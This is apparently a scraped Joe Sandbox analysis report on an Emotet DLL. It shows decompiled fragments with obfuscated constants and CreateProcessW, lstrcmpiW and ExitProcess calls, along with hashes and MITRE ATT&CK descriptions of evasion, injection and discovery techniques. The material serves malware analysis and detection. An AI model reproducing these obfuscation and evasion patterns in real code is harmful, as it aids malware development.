				_t71 = 0x5a;
				_v12 = _v12 / _t70;
				_v12 = _v12 << 7;
				_v12 = _v12 ^ 0xe1fe8b09;
				_v12 = _v12 ^ 0xe1ac8480;
				_v20 = 0x744728;
				_v20 = _v20 << 0xf;
				_v20 = _v20 ^ 0x239bcee7;
				_v16 = 0xd5199;
				_v16 = _v16 + 0xffff5a50;
				_v16 = _v16 / _t71;
				_v16 = _v16 ^ 0x000f59f5;
				_v8 = 0xa57c1a;
				_v8 = _v8 | 0x119c25df;
				_v8 = _v8 + 0xffffdcc6;
				_t72 = 0x4f;
				_v8 = _v8 / _t72;
				_v8 = _v8 ^ 0x003b1570;
				E02CDE399(_t72, _v8 % _t72, _t72, 0xa2449830, 0x167, 0xa9a77114);
				_t68 = lstrcmpiW(_a8, _t81); // executed
				return _t68;
			}

0x02cd020f
0x02cd0212
0x02cd0214
0x02cd0217
0x02cd021a
0x02cd021d
0x02cd021f
0x02cd0224
0x02cd0232
0x02cd0235
0x02cd0238
0x02cd0239
0x02cd023a
0x02cd0246
0x02cd0247
0x02cd024c
0x02cd0250
0x02cd0257
0x02cd025e
0x02cd0265
0x02cd0269
0x02cd0270
0x02cd0277
0x02cd0285
0x02cd028a
0x02cd0291
0x02cd0298
0x02cd029f
0x02cd02a9
0x02cd02af
0x02cd02b2
0x02cd02d5
0x02cd02e1
0x02cd02e8

APIs

lstrcmpiW.KERNELBASE(000F59F5,00000000,?,?,?,?,?,?,?,9B842ACC,01B64447,00000000), ref: 02CD02E1

Strings

(Gt, xrefs: 02CD025E

Memory Dump Source

Source File: 00000003.00000002.1023539885.0000000002CC0000.00000040.00000010.sdmp, Offset: 02CC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cc0000_rundll32.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: (Gt
API String ID: 1586166983-558867117
Opcode ID: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction ID: a4f0edc5b4e3301c34400768d67061e1a26ae3046d082e6abc6f69b2623f3217
Opcode Fuzzy Hash: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction Fuzzy Hash: 2C2178B5E00208FBEF04DFA4CC0A9DEBBB2FB44314F10C199E515AA250D7B65A11DF90

Uniqueness

Uniqueness Score: -1.00%

Function 02CCF3F7, Relevance: 1.5, APIs: 1, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E02CCF3F7() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _t47;

				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v36 = 0xb0bfd;
				_v32 = 0x231de0;
				_v20 = 0x822c7a;
				_t47 = 0x31;
				_push(_t47);
				_v20 = _v20 * 0x25;
				_v20 = _v20 ^ 0x12d3a120;
				_v12 = 0x122796;
				_v12 = _v12 | 0x5fffe7f7;
				_v12 = _v12 ^ 0x5ff36a5b;
				_v8 = 0xc53dc4;
				_v8 = _v8 + 0xffff669e;
				_v8 = _v8 + 0xba03;
				_v8 = _v8 + 0x1f9e;
				_v8 = _v8 ^ 0x00c2122b;
				_v16 = 0x5857ad;
				_v16 = _v16 / _t47;
				_v16 = _v16 ^ 0x000b8ebe;
				E02CDE399(_t47, _v16 % _t47, _t47, 0xa2449830, 0x41, 0x9da8748a);
				ExitProcess(0);
			}

0x02ccf3fd
0x02ccf403
0x02ccf407
0x02ccf40e
0x02ccf415
0x02ccf422
0x02ccf423
0x02ccf429
0x02ccf42c
0x02ccf433
0x02ccf43a
0x02ccf441
0x02ccf448
0x02ccf44f
0x02ccf456
0x02ccf45d
0x02ccf464
0x02ccf46b
0x02ccf479
0x02ccf47c
0x02ccf495
0x02ccf49f

APIs

ExitProcess.KERNEL32(00000000), ref: 02CCF49F

Memory Dump Source

Source File: 00000003.00000002.1023539885.0000000002CC0000.00000040.00000010.sdmp, Offset: 02CC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cc0000_rundll32.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction ID: d7271859cbcbcfa983dc7fb3c27b29a2612ce69a3295e4778271713eb378a207
Opcode Fuzzy Hash: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction Fuzzy Hash: 6F1106B1E1021DEBDF04DFE4C94A6EEBBB4FB14315F108188E521AA240E7B45B548F80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rundll32.exe PID: 7032 Parent PID: 6880 rundll32.exeCOMMON

Executed Functions

Function 04B09100, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 74
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 41%

			E04B09100(void* __ecx, WCHAR* __edx, WCHAR* _a8, struct _PROCESS_INFORMATION* _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a36, struct _STARTUPINFOW* _a40, intOrPtr _a44, int _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				intOrPtr _v28;
				void* _t52;
				int _t60;
				WCHAR* _t64;

				_t64 = __edx;
				_push(0);
				_push(0);
				_push(_a64);
				_push(_a60);
				_push(_a56);
				_push(_a52);
				_push(_a48);
				_push(_a44);
				_push(_a40);
				_push(_a36);
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(0);
				_push(_a8);
				_push(0);
				_push(__edx);
				_push(__ecx);
				E04AF8002(_t52);
				_v28 = 0x2905a5;
				_v24 = 0;
				_v12 = 0xa2d8b8;
				_v12 = _v12 + 0xfffff871;
				_v12 = _v12 ^ 0x5b121ec8;
				_v12 = _v12 ^ 0x21b4fd5f;
				_v12 = _v12 ^ 0x7a067dbd;
				_v8 = 0x36027e;
				_v8 = _v8 ^ 0x6c06375b;
				_v8 = _v8 * 0x51;
				_v8 = _v8 + 0xffff0cdd;
				_v8 = _v8 ^ 0x3b3a0501;
				_v20 = 0x3133e6;
				_v20 = _v20 ^ 0xa81fc925;
				_v20 = _v20 ^ 0xa82b7027;
				_v16 = 0x47f0fa;
				_v16 = _v16 | 0xed8e49a9;
				_v16 = _v16 ^ 0xedcdbeb4;
				E04B0E399(__ecx, __edx, __ecx, 0xa2449830, 0x53, 0xa9376bff);
				_t60 = CreateProcessW(_t64, _a8, 0, 0, _a48, 0, 0, 0, _a40, _a16); // executed
				return _t60;
			}

0x04b0910a
0x04b0910c
0x04b0910d
0x04b0910e
0x04b09111
0x04b09114
0x04b09117
0x04b0911a
0x04b0911d
0x04b09120
0x04b09123
0x04b09126
0x04b09127
0x04b0912a
0x04b0912d
0x04b09130
0x04b09133
0x04b09134
0x04b09137
0x04b09138
0x04b09139
0x04b0913a
0x04b0913f
0x04b09149
0x04b0914c
0x04b09153
0x04b0915a
0x04b09161
0x04b09168
0x04b0916f
0x04b09176
0x04b0918e
0x04b09191
0x04b09198
0x04b0919f
0x04b091a6
0x04b091ad
0x04b091b4
0x04b091bb
0x04b091c2
0x04b091d5
0x04b091ef
0x04b091f6

APIs

CreateProcessW.KERNELBASE(?,EDCDBEB4,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 04B091EF

Strings

31, xrefs: 04B0919F

Memory Dump Source

Source File: 00000005.00000002.1035861580.0000000004AF0000.00000040.00000010.sdmp, Offset: 04AF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4af0000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: 31
API String ID: 963392458-1099231638
Opcode ID: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction ID: 04d7dec86e22f280ffaf80c85dd945d00812423439c0de77253f9f08170c5ee3
Opcode Fuzzy Hash: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction Fuzzy Hash: AF31F272801259BBCF559FA6CD05CDFBFB5FF89714F108158FA1462120C3729A60EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04B00207, Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 70
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 70%

			E04B00207(void* __ecx, WCHAR* __edx, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _v32;
				intOrPtr _v36;
				void* _t54;
				int _t68;
				signed int _t70;
				signed int _t71;
				signed int _t72;
				WCHAR* _t81;

				_push(_a16);
				_t81 = __edx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E04AF8002(_t54);
				_v36 = 0xa7e4f2;
				asm("stosd");
				_t70 = 0x7b;
				asm("stosd");
				asm("stosd");
				_v12 = 0x53fdc4;
				_t71 = 0x5a;
				_v12 = _v12 / _t70;
				_v12 = _v12 << 7;
				_v12 = _v12 ^ 0xe1fe8b09;
				_v12 = _v12 ^ 0xe1ac8480;
				_v20 = 0x744728;
				_v20 = _v20 << 0xf;
				_v20 = _v20 ^ 0x239bcee7;
				_v16 = 0xd5199;
				_v16 = _v16 + 0xffff5a50;
				_v16 = _v16 / _t71;
				_v16 = _v16 ^ 0x000f59f5;
				_v8 = 0xa57c1a;
				_v8 = _v8 | 0x119c25df;
				_v8 = _v8 + 0xffffdcc6;
				_t72 = 0x4f;
				_v8 = _v8 / _t72;
				_v8 = _v8 ^ 0x003b1570;
				E04B0E399(_t72, _v8 % _t72, _t72, 0xa2449830, 0x167, 0xa9a77114);
				_t68 = lstrcmpiW(_a8, _t81); // executed
				return _t68;
			}

0x04b0020f
0x04b00212
0x04b00214
0x04b00217
0x04b0021a
0x04b0021d
0x04b0021f
0x04b00224
0x04b00232
0x04b00235
0x04b00238
0x04b00239
0x04b0023a
0x04b00246
0x04b00247
0x04b0024c
0x04b00250
0x04b00257
0x04b0025e
0x04b00265
0x04b00269
0x04b00270
0x04b00277
0x04b00285
0x04b0028a
0x04b00291
0x04b00298
0x04b0029f
0x04b002a9
0x04b002af
0x04b002b2
0x04b002d5
0x04b002e1
0x04b002e8

APIs

lstrcmpiW.KERNELBASE(000F59F5,00000000,?,?,?,?,?,?,?,9B842ACC,01B64447,00000000), ref: 04B002E1

Strings

(Gt, xrefs: 04B0025E

Memory Dump Source

Source File: 00000005.00000002.1035861580.0000000004AF0000.00000040.00000010.sdmp, Offset: 04AF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4af0000_rundll32.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: (Gt
API String ID: 1586166983-558867117
Opcode ID: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction ID: 41b46c81f28efbc388d65f6d51458b71ba9accca392ad78863fa547f49ed5e80
Opcode Fuzzy Hash: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction Fuzzy Hash: 092155B5E00208FBEF04DFA4CD0A9DEBBB2FB44314F108599E515AA250D7B65A10DF90

Uniqueness

Uniqueness Score: -1.00%

Function 04AFF3F7, Relevance: 1.5, APIs: 1, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E04AFF3F7() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _t47;

				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v36 = 0xb0bfd;
				_v32 = 0x231de0;
				_v20 = 0x822c7a;
				_t47 = 0x31;
				_push(_t47);
				_v20 = _v20 * 0x25;
				_v20 = _v20 ^ 0x12d3a120;
				_v12 = 0x122796;
				_v12 = _v12 | 0x5fffe7f7;
				_v12 = _v12 ^ 0x5ff36a5b;
				_v8 = 0xc53dc4;
				_v8 = _v8 + 0xffff669e;
				_v8 = _v8 + 0xba03;
				_v8 = _v8 + 0x1f9e;
				_v8 = _v8 ^ 0x00c2122b;
				_v16 = 0x5857ad;
				_v16 = _v16 / _t47;
				_v16 = _v16 ^ 0x000b8ebe;
				E04B0E399(_t47, _v16 % _t47, _t47, 0xa2449830, 0x41, 0x9da8748a);
				ExitProcess(0);
			}

0x04aff3fd
0x04aff403
0x04aff407
0x04aff40e
0x04aff415
0x04aff422
0x04aff423
0x04aff429
0x04aff42c
0x04aff433
0x04aff43a
0x04aff441
0x04aff448
0x04aff44f
0x04aff456
0x04aff45d
0x04aff464
0x04aff46b
0x04aff479
0x04aff47c
0x04aff495
0x04aff49f

APIs

ExitProcess.KERNEL32(00000000), ref: 04AFF49F

Memory Dump Source

Source File: 00000005.00000002.1035861580.0000000004AF0000.00000040.00000010.sdmp, Offset: 04AF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4af0000_rundll32.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction ID: 74643fb1cff9c4c70273468bf8dabd4e0e26e131233cdc6bf8e49791c4c2924f
Opcode Fuzzy Hash: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction Fuzzy Hash: 2F1106B1E1021DEBDF04DFE4C94A6EEBBB4FB14315F108188E521AA280E7B45B548F80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report mal.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Emotet

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Function 6E56C050, Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 394
filememoryCOMMONLIBRARYCODE

Function 6E551290, Relevance: 3.9, APIs: 3, Instructions: 137
memoryCOMMONLIBRARYCODE

Function 6E56C8DB, Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Function 6E56C98B, Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE